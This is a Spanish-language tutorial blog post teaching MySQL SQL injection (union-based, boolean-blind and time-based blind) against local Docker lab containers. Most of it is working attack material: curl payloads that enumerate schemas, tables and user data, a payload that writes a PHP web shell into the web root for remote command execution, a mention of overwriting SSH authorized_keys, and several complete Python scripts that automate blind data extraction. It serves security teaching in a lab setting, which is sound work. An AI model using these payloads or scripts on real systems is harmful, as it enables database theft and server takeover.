Aprende SQLI (MySQL)
December 19, 2023 in Ciberseguridad24 minutes
Aprende SQLI con ejemplos y contenedores docker para poner en práctica todo lo que vas aprendiendo, a lo largo del post aprenderás 3 típos de SQLI: Basadas en tiempo, Union y Boleanas
¿Qué es una SQLI?
Como dicen las siglas SQL Injection (Inyección SQL), consiste en inyectar instrucciones SQL dentro de una query SQL, mediante la entrada o modificaciones de datos desde el cliente hacia la aplicación intencionada. Por ejemplo un formulario, un panel de inicio de sesión, comentarios, etc…
Vamos a imaginarnos un ejemplo, tenemos una web que nos da la información del usuario que le mandamos por get
> curl -s "localhost/index.php?nombre=joan" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
Vamos a analizar el código para ver como está hecho.
$nombre = $_GET['nombre'];
$query = "SELECT * FROM mi_tabla WHERE nombre = '$nombre'";
El servidor web recibe por GET el contenido que se manda por el parámetro nombre y mete directamente nuestro input a la query SQL, sin validar si realmente le estamos pasando un nombre, así que esto lo hace vulnerable a una SQL Injection.
> curl -s "localhost/index.php?nombre=joan'"
Error en la consulta: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''joan''' at line 1
Ha saltado un error en la consulta SQL, en el mensaje de error especifican que concretamente ha sido en ‘‘‘joan’’’’. Esto es porque hemos añadido una comilla la cual nunca se ha cerrado y ha quedado colgada lo que ha causado un error. Así es como a quedado la query con la comilla que hemos añadido.
SELECT * FROM mi_tabla WHERE nombre = 'joan''
Ahora todo lo que pongamos después de la comilla se va a interpretar como instrucciones sql y para que no de problemas la comilla que se queda colgada, la podemos comentar con ‘– -’
SELECT * FROM mi_tabla WHERE nombre = 'joan' sleep(5) -- -'
Para entenderlo mejor, os comparto un ejemplo hecho con python, ya que python es más fácil de entender
Cuando le ponemos una comilla de más da error
>>> name = "Joan""
File "<stdin>", line 1
name = "Joan""
^
SyntaxError: unterminated string literal (detected at line 1)
Si comentamos la comilla ya no da error
>>> name = "Joan" #"
Ahora el contenido que pongamos después de la comilla se va a interpretar como instrucciones y no como texto
>>> name = "joan"; print("Hola") #"
Hola
MySQL
Inyección Union
Laboratorio
Para la explicación se va a usar el laboratorio 1:
Descarga el laboratorio
Descomprímelo y entra a la carpeta
unzip lab1.zip
cd lab1
Despliega el contenedor
docker-compose up --build
Una vez tenemos localizada la SQL Injection, en el caso del laboratorio 1 es el parámetro nombre
, vamos a llevar a cabo el tipo de inyección union.
Primero de todo necesitamos saber el número de columnas que tiene la tabla que se está usando. Para localizarlas vamos a usar la funcion ‘order’ la cual nos permite ordenar las columnas basándonos en la columna que le especificamos, si le especificamos un número de columnas que no exista va a dar error, jugando con esto podemos encontrar el número de columnas
> curl -s -G "localhost" --data-urlencode "nombre=joan' order by 3-- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
> curl -s -G "localhost" --data-urlencode "nombre=joan' order by 4-- -" | sed 's/<br>/\n/g'
Error en la consulta: Unknown column '4' in 'order clause'
Ahora ya sabemos que la tabla tiene 3 columnas, porque ‘order by 3’ no da error pero ‘order by 4’ sí. En el caso de que sea una tabla muy grande podemos usar herramientas para automatizar este paso.
> wfuzz -c -t 20 -z range,1-5 "http://localhost/?nombre=joan'+order+by+FUZZ--+-"
000000001: 200 1 L 3 W 31 Ch "1"
000000003: 200 1 L 3 W 31 Ch "3"
000000002: 200 1 L 3 W 31 Ch "2"
000000004: 200 0 L 10 W 58 Ch "4"
000000005: 200 0 L 10 W 58 Ch "5"
Vemos que cuando el número de columna ya no existe cambia el tamaño de la respuesta.
Ya tenemos el número de columnas así que podemos empezar a usar union para concatenar datos. El payload es el siguiente
union select NULL,NULL,NULL-- -
Hay que poner tantos NULL como columnas tenga la tabla.
> curl -s -G "localhost" --data-urlencode "nombre=joan' union select NULL,NULL,NULL-- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
Nombre:
Rol:
Ahora podemos sustituir los NULL por cadenas de texto para comprobar en que columnas podemos mostrar datos
> curl -s -G "localhost" --data-urlencode "nombre=joan' union select 'a','b','c'-- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
Nombre: b
Rol: c
Sabemos que podemos ver los datos de las columnas 2 y 3.
Enumeración bases de datos
Para saber que bases de datos existen usaremos el siguiente payload
union select NULL,schema_name,NULL from informationschema.schemata-- -
Que significa schema_name
, information_schema
y schemata
?, para saberlo vamos a mirar la base de datos del contenedor sql. Para encontrar el identificador del contenedor hay que ejecutar sudo docker ps
> sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
52e31603f6a9 php:7.4-apache "docker-php-entrypoi…" 13 hours ago Up 8 minutes 0.0.0.0:80->80/tcp, :::80->80/tcp lab1_web_1
d71dbadbe4d0 mysql:5.7 "docker-entrypoint.s…" 13 hours ago Up 8 minutes 0.0.0.0:3306->3306/tcp, :::3306->3306/tcp, 33060/tcp lab1_db_1
Ahora ya tenemos el id y podemos ejecutar una bash en el contenedor, y después entrar a mysql.
> sudo docker exec -it d71dbadbe4d0 bash
bash-4.2# mysql -u root -p
Enter password:
Si miramos las bases de datos con show databases;
vemos que existe una base de datos que es predeterminada llamada information_schema
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| my_database |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.00 sec)
Dentro de la base de datos information_schema existe una tabla entre muchas llamada schemata
mysql> use information_schema
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| .... |
| SCHEMATA |
| ... |
+---------------------------------------+
61 rows in set (0.00 sec)
Y por último dentro de la tabla schemata, concretamente en la columna ‘schema_name’’ están los nombres de las bases de datos.
mysql> select * from schemata;
+--------------+--------------------+----------------------------+------------------------+----------+
| CATALOG_NAME | SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH |
+--------------+--------------------+----------------------------+------------------------+----------+
| def | information_schema | utf8 | utf8_general_ci | NULL |
| def | my_database | latin1 | latin1_swedish_ci | NULL |
| def | mysql | latin1 | latin1_swedish_ci | NULL |
| def | performance_schema | utf8 | utf8_general_ci | NULL |
| def | sys | utf8 | utf8_general_ci | NULL |
+--------------+--------------------+----------------------------+------------------------+----------+
5 rows in set (0.00 sec)
Si volvemos al payload que teníamos antes, vemos que lo que estamos diciendo es, que meta la columna ‘schema_name’ (la cual contiene los nombres de las bases de datos) en la columna numero 2. Despues le decimos con from donde está esa columna, que está en la base de datos ‘information_schema’ y en la tabla schemata
:
union select NULL,schema_name,NULL from informationschema.schemata
> curl -s -G "localhost" --data-urlencode "nombre=joan' union select NULL,schema_name,NULL from information_schema.schemata-- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
Nombre: information_schema
Rol:
Nombre: my_database
Rol:
Nombre: mysql
Rol:
Nombre: performance_schema
Rol:
Nombre: sys
Rol:
En este caso vemos que se añade una nueva fila con ‘Nombre: ’ y ‘Rol: ’ Por cada base de datos encontrada, pero esto no siempre va a ser tan fácil en algunas webs puede ser que solo nos muestren el primer dato. En estos casos podemos usar delimitadores para que se vayan mostrando las bases de datos como en el siguiente ejemplo
> curl -s -G "localhost" --data-urlencode "nombre=' union select NULL,schema_name,NULL from information_schema.schemata limit 0,1-- -" | sed 's/<br>/\n/g'
Nombre: information_schema
Rol:
> curl -s -G "localhost" --data-urlencode "nombre=' union select NULL,schema_name,NULL from information_schema.schemata limit 2,1-- -" | sed 's/<br>/\n/g'
Nombre: mysql
Rol:
Esto ya empieza a tener muy buena pinta… tenemos la capacidad de enumerar las bases de datos.
Enumeración de las tablas
Ahora toca enumerar las tablas, el procedimiento es bastante parecido.
Dentro de la base de datos information_schema hay una tabla llamada tables la cual contiene el nombre de todas las tablas.
+---------------------------------------+
| Tables_in_information_schema |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| ... |
| TABLES |
| ... |
+---------------------------------------+
Dentro de la tabla tables
hay una columna llamada table_name con el nombre de las tablas, y otra llamada table_schema la cual tiene el nombre de la base de datos a la cual pertenece la tabla. Por ejemplo en la siguiente instrucción se muestran las tablas de la base de datos ‘my_database’
mysql> select table_name from tables where table_schema = 'my_database' ;
+------------+
| table_name |
+------------+
| mi_tabla |
+------------+
Esto aplicado a la inyección quedaria de la siguiente forma
union select NULL,table_name,NULL from information_schema.tables where table_schema = 'my_database'-- -
> curl -s -G "localhost" --data-urlencode "nombre=joan' union select NULL,table_name,NULL from information_schema.tables where table_schema = 'my_database'-- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
Nombre: mi_tabla
Rol:
Igual que con las bases de datos si es una inyección en la cual solo vemos el primer dato, podemos usar delimitadores, para ir viendo los nombres uno por uno
> curl -s -G "localhost" --data-urlencode "nombre=' union select NULL,table_name,NULL from information_schema.tables where table_schema = 'my_database' limit 0,1 -- -" | sed 's/<br>/\n/g'
Nombre: mi_tabla
Rol:
Columnas
Una vez tenemos las tablas, tocan las columnas.
Dentro de la base de datos information_schema hay una tabla llamada columns en la cual están los nombres de las columnas
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| ... |
+---------------------------------------+
61 rows in set (0.00 sec)
De toda esta tabla vamos a usar solo 3 columnas:
- column_name: Contiene el nombre de las columnas
- table_name: Contiene el nombre de la tabla a la cual pertenece esa columna
- table_schema: Contiene el nombre de la base de datos a la cual pertenece la columna
mysql> select column_name from columns where table_name = 'mi_tabla' and table_schema = 'my_database';
+-------------+
| column_name |
+-------------+
| id |
| nombre |
| rol |
+-------------+
3 rows in set (0.00 sec)
Esto aplicado a la inyección quedaría de la siguiente forma:
> curl -s -G "localhost" --data-urlencode "nombre=joan' union select NULL,column_name,NULL from information_schema.columns where table_name = 'mi_tabla' and table_schema = 'my_database'-- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
Nombre: id
Rol:
Nombre: nombre
Rol:
Nombre: rol
Rol:
Otra vez si solo nos muestra un dato, podemos usar delimitadores para ir viéndolos poco a poco.
> curl -s -G "localhost" --data-urlencode "nombre=' union select NULL,column_name,NULL from information_schema.columns where table_schema = 'my_database' and table_name = 'mi_tabla'limit 0,1 -- -" | sed 's/<br>/\n/g'
Nombre: id
Rol:
> curl -s -G "localhost" --data-urlencode "nombre=' union select NULL,column_name,NULL from information_schema.columns where table_schema = 'my_database' and table_name = 'mi_tabla'limit 1,1 -- -" | sed 's/<br>/\n/g'
Nombre: nombre
Rol:
> curl -s -G "localhost" --data-urlencode "nombre=' union select NULL,column_name,NULL from information_schema.columns where table_schema = 'my_database' and table_name = 'mi_tabla'limit 2,1 -- -" | sed 's/<br>/\n/g'
Nombre: rol
Rol:
Data
Por último solo nos quedaría ver el contenido de las columnas que hemos encontrado. La petición ahora es mucho más sencilla. En mysql se vería así
mysql> select nombre from mi_tabla;
+--------+
| nombre |
+--------+
| Joan |
| Quim |
| Andreu |
+--------+
Y la inyección sería simplemente la siguiente
curl -s -G "localhost" --data-urlencode "nombre=joan' union select NULL,nombre,NULL from my_database.mi_tabla-- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
Nombre: Joan
Rol:
Nombre: Quim
Rol:
Nombre: Andreu
Rol:
> curl -s -G "localhost" --data-urlencode "nombre=joan' union select NULL,nombre,rol from my_database.mi_tabla-- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
Nombre: Joan
Rol: admin
Nombre: Quim
Rol: user
Nombre: Andreu
Rol: user
En este caso podemos ver el contenido de varias columnas a la vez de forma simple, pero no siempre es así. Si solo podemos mostrar datos en una columna podemos concatenar datos con ‘group_concat()’
group_concat(nombre,':',rol)
Con esto estaremos mostrando el contenido de la columna nombre y de la columna rol en la misma columna.
> curl -s -G "localhost" --data-urlencode "nombre=joan' union select NULL,group_concat(nombre,':',rol) ,NULL from my_database.mi_tabla-- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
Nombre: Joan:admin,Quim:user,Andreu:user
Rol:
Si solo nos muestra el primer dato podemos usar delimitadores para ir mostrándolos poco a poco
> curl -s -G "localhost" --data-urlencode "nombre=' union select NULL,nombre,rol from my_database.mi_tabla limit 0,1 -- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
> curl -s -G "localhost" --data-urlencode "nombre=' union select NULL,nombre,rol from my_database.mi_tabla limit 1,1 -- -" | sed 's/<br>/\n/g'
Nombre: Quim
Rol: user
> curl -s -G "localhost" --data-urlencode "nombre=' union select NULL,nombre,rol from my_database.mi_tabla limit 2,1 -- -" | sed 's/<br>/\n/g'
Nombre: Andreu
Rol: user
Subida de archivos
Aparte de sacar información de la base de datos también podemos probar de escribir archivos. Esto lo haremos poniendo el contenido que queremos meter en el archivo en una columna y luego lo redirigiremos con ‘into outfile’ al ‘/tmp/sqli’
?nombre=joan' union select NULL,"holaaaaaa",NULL into outfile "/tmp/sqli"-- -
Para comprobar si ha funcionado vamos a abrir una terminal con el contendor. Primero buscaremos el id del contenedor
> sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
c4b17fc1716b php:7.4-apache "docker-php-entrypoi…" 13 seconds ago Up 12 seconds 0.0.0.0:80->80/tcp, :::80->80/tcp lab1_web_1
5f7d54a374b0 mysql:5.7 "docker-entrypoint.s…" 13 seconds ago Up 12 seconds 0.0.0.0:3306->3306/tcp, :::3306->3306/tcp, 33060/tcp lab1_db_1
Después ejecutaremos una bash en el contenedor mysql
> sudo docker exec -it 5f7d54a374b0 bash
bash-4.2# ls
bin dev entrypoint.sh home lib64 mnt proc run srv tmp var
boot docker-entrypoint-initdb.d etc lib media opt root sbin sys usr
Por último, comprobamos:
bash-4.2# ls /tmp
a sqli testing_sqli
bash-4.2# cat /tmp/sqli
1 Joan admin
\N holaaaaaa \N
¿De qué nos sirve esto?
Podemos usar esta técnica para por ejemplo modificar el authorized_keys de un usuario del sistema para poder entrar sin proporcionar contraseña. El authorized_keys por defecto está en ‘/home/(user)/.ssh/authorized_keys’
También lo podemos usar para crear un nuevo archivo php en la web con código malicioso el cual nos permita ejecutar comandos.
' union select NULL,"<?php system($_GET['cmd']);",NULL into outfile "/var/www/html/cmd.php"-- -
Esto básicamente lo que hace es crear un archivo en /var/www/html que es la ruta por defecto para las webs. El archivo que crea le mete codigo php el cual hace que todo lo que reciba por GET, por el parámetro cmd (localhost/cmd.php?cmd=) lo ejecutara con la función system. Lo que permitirá tener una ejecución remota de comandos.
En el laboratorio 1 no se puede probar, ya que la web y la base de datos están en contenedores distintos.
Booleana
Laboratorio
Para la explicación se va a usar el laboratorio 3:
Descarga el laboratorio
Descomprímelo y entra a la carpeta
unzip lab3.zip
cd lab3
Despliega el contenedor
docker-compose up --build
En este tipo de inyecciones no vamos a ver el output de las querys maliciosas.
Empezamos mandando una petición normal, y al final le ponemos algo que sea True como por ejemplo (1=1, a=a, ‘a’=‘a’), mirando las respuestas podemos ver que cuando la solicitud es correcta vemos el Nombre y el Rol, pero cuando la petición es incorrecta no sale ni el Nombre ni el Rol
curl -s -G "localhost" --data-urlencode "nombre=joan' and 1=1 -- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
curl -s -G "localhost" --data-urlencode "nombre=joan' and 1=2 -- -" | sed 's/<br>/\n/g'
Esto dependiendo de la web puede cambiar lo que se muestra o se deja de mostrar, a veces pueden ser detalles muy pequeños
Para sacar información con este método podemos hacer una petición diciendo que el primer carácter de el primer base de datos es una ’m’, en el caso de que la afirmación sea cierta veremos el Nombre y el Rol, de caso contrario que no acertemos el caracter no nos saldrá nada.
curl -s -G "localhost" --data-urlencode "nombre=joan' and substr((select schema_name from information_schema.schemata limit 1,1),1,1)='m'-- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
curl -s -G "localhost" --data-urlencode "nombre=joan' and substr((select schema_name from information_schema.schemata limit 1,1),1,1)='a'-- -" | sed 's/<br>/\n/g'
De forma manual tardaríamos una eternidad en sacar la información de la base de datos así que podemos automatizarlo con python
Base de datos
Para enumerar las bases de datos vamos a usar el siguiente payload
joan' and substr((select schema_name from information_schema.schemata limit 1,1),1,1)='m'-- -
En el script declaramos una variable llamada mensaje la cual contiene el mensaje que devuelve la web cuando la query sql es correcta, cada vez que el script lanze una petición comprobara si en la respuesta está este mensaje. Después calculamos la cantidad de bases de datos. Por último se calcula el “Length” de cada nombre de la base de datos y se hace fuerza bruta para sacar cada caracter.
from pwn import *
import requests
import string
url = "http://localhost/?nombre=joan'"
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@"
mensaje = "Nombre: Joan"
def database(url,characters,mensaje):
p1 = log.progress("Probando con")
p2 = log.progress("Bases de datos")
database = ""
for i in range(100):
payload = "{} and (select count(schema_name) from information_schema.schemata)={}-- -".format(url,i)
r = requests.get(payload)
if mensaje in r.text:
dbs = i
break
for db in range(dbs):
for i in range(100):
payload = "{} and LENGTH((select schema_name from information_schema.schemata limit {}, 1))={}-- -".format(url, db, i)
r = requests.get(payload)
if mensaje in r.text:
db_length = i + 1
break
database += "\n[*] "
for position in range(db_length):
for char in characters:
p1.status(char)
payload = "{} and substr((select schema_name from information_schema.schemata limit {},1),{},1)='{}'-- -".format(url, db, position, char)
r = requests.get(payload)
if mensaje in r.text:
database += char
p2.status(database)
break
database(url,characters,mensaje)
Tablas
from pwn import *
import requests
import string
url = "http://localhost/?nombre=joan'"
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@"
mensaje = "Nombre: Joan"
def tables(url,characters):
p1 = log.progress("Probando con")
p2 = log.progress("Tablas")
tables = ""
for i in range(100):
payload = "{} and (select count(table_name) from information_schema.tables where table_schema = 'my_database')={}-- -".format(url,i)
r = requests.get(payload)
if mensaje in r.text:
tbs = i
break
for tb in range(tbs):
for i in range(100):
payload = "{} and LENGTH((select table_name from information_schema.tables where table_schema = 'my_database' limit {}, 1))={}-- -".format(url, tb, i)
r = requests.get(payload)
if mensaje in r.text:
tb_length = i + 1
break
tables += "\n[*] "
for position in range(tb_length):
for char in characters:
p1.status(char)
payload = "{} and substr((select table_name from information_schema.tables where table_schema = 'my_database' limit {},1),{},1)='{}'-- -".format(url, tb, position, char)
r = requests.get(payload)
if mensaje in r.text:
tables += char
p2.status(tables)
break
tables(url,characters)
Columnas
from pwn import *
import requests
import string
url = "http://localhost/?nombre=joan'"
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@"
mensaje = "Nombre: Joan"
def columns(url,characters):
p1 = log.progress("Probando con")
p2 = log.progress("Columnas")
columns = ""
for i in range(100):
payload = "{} and (select count(column_name) from information_schema.columns where table_schema = 'my_database' and table_name = 'mi_tabla')={}-- -".format(url,i)
r = requests.get(payload)
if mensaje in r.text:
cols = i
break
for col in range(cols):
for i in range(100):
payload = "{} and LENGTH((select column_name from information_schema.columns where table_schema = 'my_database' and table_name = 'mi_tabla' limit {}, 1))={}-- -".format(url, col, i)
r = requests.get(payload)
if mensaje in r.text:
col_length = i + 1
break
columns += "\n[*] "
for position in range(col_length):
for char in characters:
p1.status(char)
payload = "{} and substr((select column_name from information_schema.columns where table_schema = 'my_database' and table_name = 'mi_tabla' limit {},1),{},1)='{}'-- -".format(url, col, position, char)
r = requests.get(payload)
if mensaje in r.text:
columns += char
p2.status(columns)
break
columns(url,characters)
Data
from pwn import *
import requests
import string
url = "http://localhost/?nombre=joan'"
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@" + ":"
mensaje = "Nombre: Joan"
def data(url,characters):
p1 = log.progress("Probando con")
p2 = log.progress("Datos")
datos = ""
for i in range(100):
payload = "{} and (select count(nombre) from my_database.mi_tabla)={}-- -".format(url,i)
r = requests.get(payload)
if mensaje in r.text:
dts = i
break
for dt in range(dts):
for i in range(100):
payload = "{} and LENGTH((select nombre from my_database.mi_tabla limit {}, 1))={}-- -".format(url, dt, i)
r = requests.get(payload)
if mensaje in r.text:
dt_length = i + 1
break
datos += "\n[*] "
for position in range(dt_length):
for char in characters:
p1.status(char)
payload = "{} and substr((select nombre from my_database.mi_tabla limit {},1),{},1)='{}'-- -".format(url, dt, position, char)
r = requests.get(payload)
if mensaje in r.text:
datos += char
p2.status(datos)
break
data(url,characters)
Mas información relevante
version() [Versión Base de datos]
SELECT version();
from pwn import *
import requests
import string
url = "http://localhost/?nombre=joan'"
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@" + ":"
mensaje = "Nombre: Joan"
def version(url,characters):
p1 = log.progress("Probando con")
p2 = log.progress("Datos")
versions = ""
for v in range(1):
for i in range(100):
payload = "{} and LENGTH((select version() limit {}, 1))={}-- -".format(url, v, i)
r = requests.get(payload)
if mensaje in r.text:
v_length = i + 1
break
versions += "\n[*] "
for position in range(v_length):
for char in characters:
p1.status(char)
payload = "{} and substr((select version() limit {},1),{},1)='{}'-- -".format(url, v, position, char)
r = requests.get(payload)
if mensaje in r.text:
versions += char
p2.status(versions)
break
version(url,characters)
user() [Usuario que ejecuta la base de datos]
SELECT user();
> python3 main.py
[>] Probando con: 3
[*] Usuario:
[*] root@172.19.0.3
from pwn import *
import requests
import string
url = "http://localhost/?nombre=joan'"
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@" + ":"
mensaje = "Nombre: Joan"
def user(url,characters):
p1 = log.progress("Probando con")
p2 = log.progress("Usuario")
users = ""
for user in range(1):
for i in range(100):
payload = "{} and LENGTH((select user() limit {}, 1))={}-- -".format(url, user, i)
r = requests.get(payload)
if mensaje in r.text:
v_length = i + 1
break
users += "\n[*] "
for position in range(v_length):
for char in characters:
p1.status(char)
payload = "{} and substr((select user() limit {},1),{},1)='{}'-- -".format(url, user, position, char)
r = requests.get(payload)
if mensaje in r.text:
users += char
p2.status(users)
break
user(url,characters)
database() [Base de datos en uso]
SELECT database();
> python3 main.py
[-] Probando con: e
[ ] Base de datos en uso:
[*] my_database
from pwn import *
import requests
import string
url = "http://localhost/?nombre=joan'"
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@" + ":"
mensaje = "Nombre: Joan"
def user(url,characters):
p1 = log.progress("Probando con")
p2 = log.progress("Base de datos en uso")
databases = ""
for db in range(1):
for i in range(100):
payload = "{} and LENGTH((select database() limit {}, 1))={}-- -".format(url, db, i)
r = requests.get(payload)
if mensaje in r.text:
db_length = i + 1
break
databases += "\n[*] "
for position in range(db_length):
for char in characters:
p1.status(char)
payload = "{} and substr((select database() limit {},1),{},1)='{}'-- -".format(url, db, position, char)
r = requests.get(payload)
if mensaje in r.text:
databases += char
p2.status(databases)
break
user(url,characters)
Basada en tiempo a ciegas
Laboratorio
Para la explicación se va a usar el laboratorio 3:
Descarga el laboratorio
Descomprímelo y entra a la carpeta
unzip lab3.zip
cd lab3
Despliega el contenedor
docker-compose up --build
En estas inyecciones no vamos a estar viendo el output, así que vamos a jugar con los tiempos de carga del servidor
Empezamos mandando una petición en la cual le decimos a la base de datos que se espere 5 segundos, Para saber si la inyección funciona, vamos a usar el comando time el cual nos dirá cuanto ha tardado
> time curl -s -G "localhost" --data-urlencode "nombre=joan' and sleep(5) -- -" | sed 's/<br>/\n/g'
real 5.03s
Ha tardado 5.03 segundos lo que significa que aparentemente ha funcionado la inyección
Base de datos
Para enumerar las bases de datos vamos a usar el siguiente payload
joan' and if(substr((select schema_name from information_schema.schemata limit 1,1),1,1)='a',sleep(5),1)-- -
¿Qué estamos haciendo con esto?
Le estamos diciendo que “si el nombre de la primera base de datos empieza por ‘a’, quédate esperando 5 segundos”
Esto no tardará 5 segundos, ya que no empieza por a, pero con la m si se queda colgado.
> time curl -s -G "localhost" --data-urlencode "nombre=joan' and if(substr((select schema_name from information_schema.schemata limit 1,1),1,1)='a',sleep(5),1)-- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
real 0.01s
> time curl -s -G "localhost" --data-urlencode "nombre=joan' and if(substr((select schema_name from information_schema.schemata limit 1,1),1,1)='m',sleep(5),1)-- -" | sed 's/<br>/\n/g'
real 5.02s
Si lo hacemos manualmente vamos a tardar mucho, así que podemos hacer un script en python que lo automatice
from pwn import *
import requests
import string
url = "http://localhost/?nombre=joan'"
sleep_time = 0.05
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@"
def database(url,sleep_time,characters):
p1 = log.progress("Probando con")
p2 = log.progress("Bases de datos")
database = ""
for i in range(100):
payload = "{} and if((select count(schema_name) from information_schema.schemata)={}, sleep({}), 1)-- -".format(url,i,sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
dbs = i
break
for db in range(dbs):
for i in range(100):
payload = "{} and if(LENGTH((select schema_name from information_schema.schemata limit {}, 1))={}, sleep({}), 1)-- -".format(url, db, i, sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
db_length = i + 1
break
database += "\n[*] "
for position in range(db_length):
for char in characters:
p1.status(char)
payload = "{} and if(substr((select schema_name from information_schema.schemata limit {},1),{},1)='{}',sleep({}),1)-- -".format(url, db, position, char, sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
database += char
p2.status(database)
break
database(url,sleep_time,characters)
Tables
from pwn import *
import requests
import string
url = "http://localhost/?nombre=joan'"
sleep_time = 0.05
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@"
def tables(url,sleep_time,characters):
p1 = log.progress("Probando con")
p2 = log.progress("Tablas")
tables = ""
for i in range(100):
payload = "{} and if((select count(table_name) from information_schema.tables where table_schema = 'my_database')={}, sleep({}), 1)-- -".format(url,i,sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
tbs = i
break
for tb in range(tbs):
for i in range(100):
payload = "{} and if(LENGTH((select table_name from information_schema.tables where table_schema = 'my_database' limit {}, 1))={}, sleep({}), 1)-- -".format(url, tb, i, sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
tb_length = i + 1
break
tables += "\n[*] "
for position in range(tb_length):
for char in characters:
p1.status(char)
payload = "{} and if(substr((select table_name from information_schema.tables where table_schema = 'my_database' limit {},1),{},1)='{}',sleep({}),1)-- -".format(url, tb, position, char, sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
tables += char
p2.status(tables)
break
tables(url,sleep_time,characters)
Columns
from pwn import *
import requests
import string
url = "http://localhost/?nombre=joan'"
sleep_time = 0.1
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@"
def columns(url,sleep_time,characters):
p1 = log.progress("Probando con")
p2 = log.progress("Columnas")
columns = ""
for i in range(100):
payload = "{} and if((select count(column_name) from information_schema.columns where table_schema = 'my_database' and table_name = 'mi_tabla')={}, sleep({}), 1)-- -".format(url,i,sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
cols = i
break
for col in range(cols):
for i in range(100):
payload = "{} and if(LENGTH((select column_name from information_schema.columns where table_schema = 'my_database' and table_name = 'mi_tabla' limit {}, 1))={}, sleep({}), 1)-- -".format(url, col, i, sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
col_length = i + 1
break
columns += "\n[*] "
for position in range(col_length):
for char in characters:
p1.status(char)
payload = "{} and if(substr((select column_name from information_schema.columns where table_schema = 'my_database' and table_name = 'mi_tabla' limit {},1),{},1)='{}',sleep({}),1)-- -".format(url, col, position, char, sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
columns += char
p2.status(columns)
break
columns(url,sleep_time,characters)
Data
from pwn import *
import requests
import string
url = "http://localhost/?nombre=joan'"
sleep_time = 1
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@" + ":"
def data(url,sleep_time,characters):
p1 = log.progress("Probando con")
p2 = log.progress("Datos")
datos = ""
for i in range(100):
payload = "{} and if((select count(nombre) from my_database.mi_tabla)={}, sleep({}), 1)-- -".format(url,i,sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
dts = i
break
for dt in range(dts):
for i in range(100):
payload = "{} and if(LENGTH((select nombre from my_database.mi_tabla limit {}, 1))={}, sleep({}), 1)-- -".format(url, dt, i, sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
dt_length = i + 1
break
datos += "\n[*] "
for position in range(dt_length):
for char in characters:
p1.status(char)
payload = "{} and if(substr((select nombre from my_database.mi_tabla limit {},1),{},1)='{}',sleep({}),1)-- -".format(url, dt, position, char, sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
datos += char
p2.status(datos)
break
data(url,sleep_time,characters)
Mas información relevante
version() [Versión Base de datos]
SELECT version();
from pwn import *
import requests
import string
url = "http://localhost/?nombre=joan'"
sleep_time = 1
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@" + ":"
def version(url,sleep_time,characters):
p1 = log.progress("Probando con")
p2 = log.progress("Datos")
versions = ""
for v in range(1):
for i in range(100):
payload = "{} and if(LENGTH((select version() limit {}, 1))={}, sleep({}), 1)-- -".format(url, v, i, sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
v_length = i + 1
break
versions += "\n[*] "
for position in range(v_length):
for char in characters:
p1.status(char)
payload = "{} and if(substr((select version() limit {},1),{},1)='{}',sleep({}),1)-- -".format(url, v, position, char, sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
versions += char
p2.status(versions)
break
